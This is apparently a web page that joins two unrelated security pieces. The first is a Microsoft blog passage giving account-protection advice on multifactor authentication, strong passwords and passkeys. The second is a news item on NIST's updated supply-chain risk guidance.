One simple step we can all take to protect our accounts today is adding multifactor authentication, which blocks 99.9 percent of account compromise attacks. The Microsoft Authenticator app is free and provides multiple options for authentication, including time-based one-time passcodes (TOTP), push notifications, and passwordless sign-in—all of which work for any site that supports multifactor authentication. Authenticator is available for Android and iOS and gives you the option to turn two-step verification on or off. For your Microsoft Account, multifactor authentication is usually only needed the first time you sign in or after changing your password. Once your device is recognized, you’ll just need your primary sign-in.
Make sure your password isn’t the weak link
Rather than keeping attackers out, weak passwords often provide a way in. Using and reusing simple passwords across different accounts might make our online life easier, but it also leaves the door open. Attackers regularly scroll social media accounts looking for birthdates, vacation spots, pet names and other personal information they know people use to create easy-to-remember passwords. A recent study found that 68 percent of people use the same password for different accounts.3 For example, once a password and email combination has been compromised, it’s often sold on the dark web for use in additional attacks. As my friend Bret Arsenault, our Chief Information Security Officer (CISO) here at Microsoft, likes to say, “Hackers don’t break in, they log in.”
Some basics to remember—make sure your password is:
At least 12 characters long.
A combination of uppercase and lowercase letters, numbers, and symbols.
Not a word that can be found in a dictionary, or the name of a person, product, or organization.
Completely different from your previous passwords.
Changed immediately if you suspect it may have been compromised.
Tip: Consider using a password manager. Microsoft Edge and Microsoft Authenticator can create (and remember) strong passwords using Password Generator, and then automatically fill them in when accessing your accounts. Also, keep these other tips in mind:
Only share personal information in real-time—in person or by phone. (Be careful on social media.)
Be skeptical of messages with links, especially those asking for personal information.
Be on guard against messages with attached files, even from people or organizations you trust.
Enable the lock feature on all your mobile devices (fingerprint, PIN, or facial recognition).
Ensure all the apps on your device are legitimate (only from your device’s official app store).
Keep your browser updated, browse in incognito mode, and enable Pop-Up Blocker.
Tip: When answering security questions, provide an unrelated answer. For example, Q: “Where were you born?” A: “Green.” This helps throw off attackers who might use information skimmed from your social media accounts to hack your passwords. (Just be sure the unrelated answers are something you’ll remember.)
Passwordless authentication is becoming commonplace
As part of a historic collaboration, the FIDO Alliance, Microsoft, Apple, and Google have announced plans to expand support for a common passwordless sign-in standard. Commonly referred to as passkeys, these multi-device FIDO credentials offer users a platform-native way to safely and quickly sign in to any of their devices without a password. Virtually unable to be phished and available across all your devices, a passkey lets you sign in simply by authenticating with your face, fingerprint, or device PIN.
In addition to a consistent user experience and enhanced security, these new credentials offer two other compelling benefits:
Users can automatically access their passkeys on many of their devices without having to re-enroll for each account. Simply authenticate with your platform on your new device and your passkeys will be there ready to use—protecting you against device loss and simplifying device upgrade scenarios.
With passkeys on your mobile device, you’re able to sign in to an app or service on nearly any device, regardless of the platform or browser the device is running. For example, users can sign in on a Google Chrome browser that’s running on Microsoft Windows, using a passkey on an Apple device.
These new capabilities are expected to become available across Microsoft, Apple, and Google platforms starting in the next year. This type of Web Authentication (WebAuthn) credential represents a new era of authentication, and we’re thrilled to join the FIDO Alliance and others in the industry in supporting a common standard for a safe, consistent authentication experience. Learn more about this open-standards collaboration and exciting passwordless capabilities coming for Microsoft Azure Active Directory in a blog post from Alex Simons, Vice President, Identity Program Management.
To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.
The National Institute of Standards and Technology (NIST) on Thursday released an updated cybersecurity guidance for managing risks in the supply chain, as it increasingly emerges as a lucrative attack vector.
“It encourages organizations to consider the vulnerabilities not only of a finished product they are considering using, but also of its components — which may have been developed elsewhere — and the journey those components took to reach their destination,” NIST said in a statement.
The new directive outlines major security controls and practices that entities should adopt to identify, assess, and respond to risks at different stages of the supply chain, including the possibility of malicious functionality, flaws in third-party software, insertion of counterfeit hardware, and poor manufacturing and development practices.
The development follows an Executive Order issued by the U.S. President on “Improving the Nation’s Cybersecurity (14028)” last May, requiring government agencies to take steps to “improve the security and integrity of the software supply chain, with a priority on addressing critical software.”
It also comes as cybersecurity risks in the supply chain have come to the forefront in recent years, in part compounded by a wave of attackstargetingwidely-used software to breach dozens of downstream vendors all at once.
According to the European Union Agency for Cybersecurity’s (ENISA) Threat Landscape for Supply Chain Attacks, 62% of 24 attacks documented from January 2020 to early 2021 were found to “exploit the trust of customers in their supplier.”
“Managing the cybersecurity of the supply chain is a need that is here to stay,” said NIST’s Jon Boyens and one of the publication’s authors. “If your agency or organization hasn’t started on it, this is a comprehensive tool that can take you from crawl to walk to run, and it can help you do so immediately.”
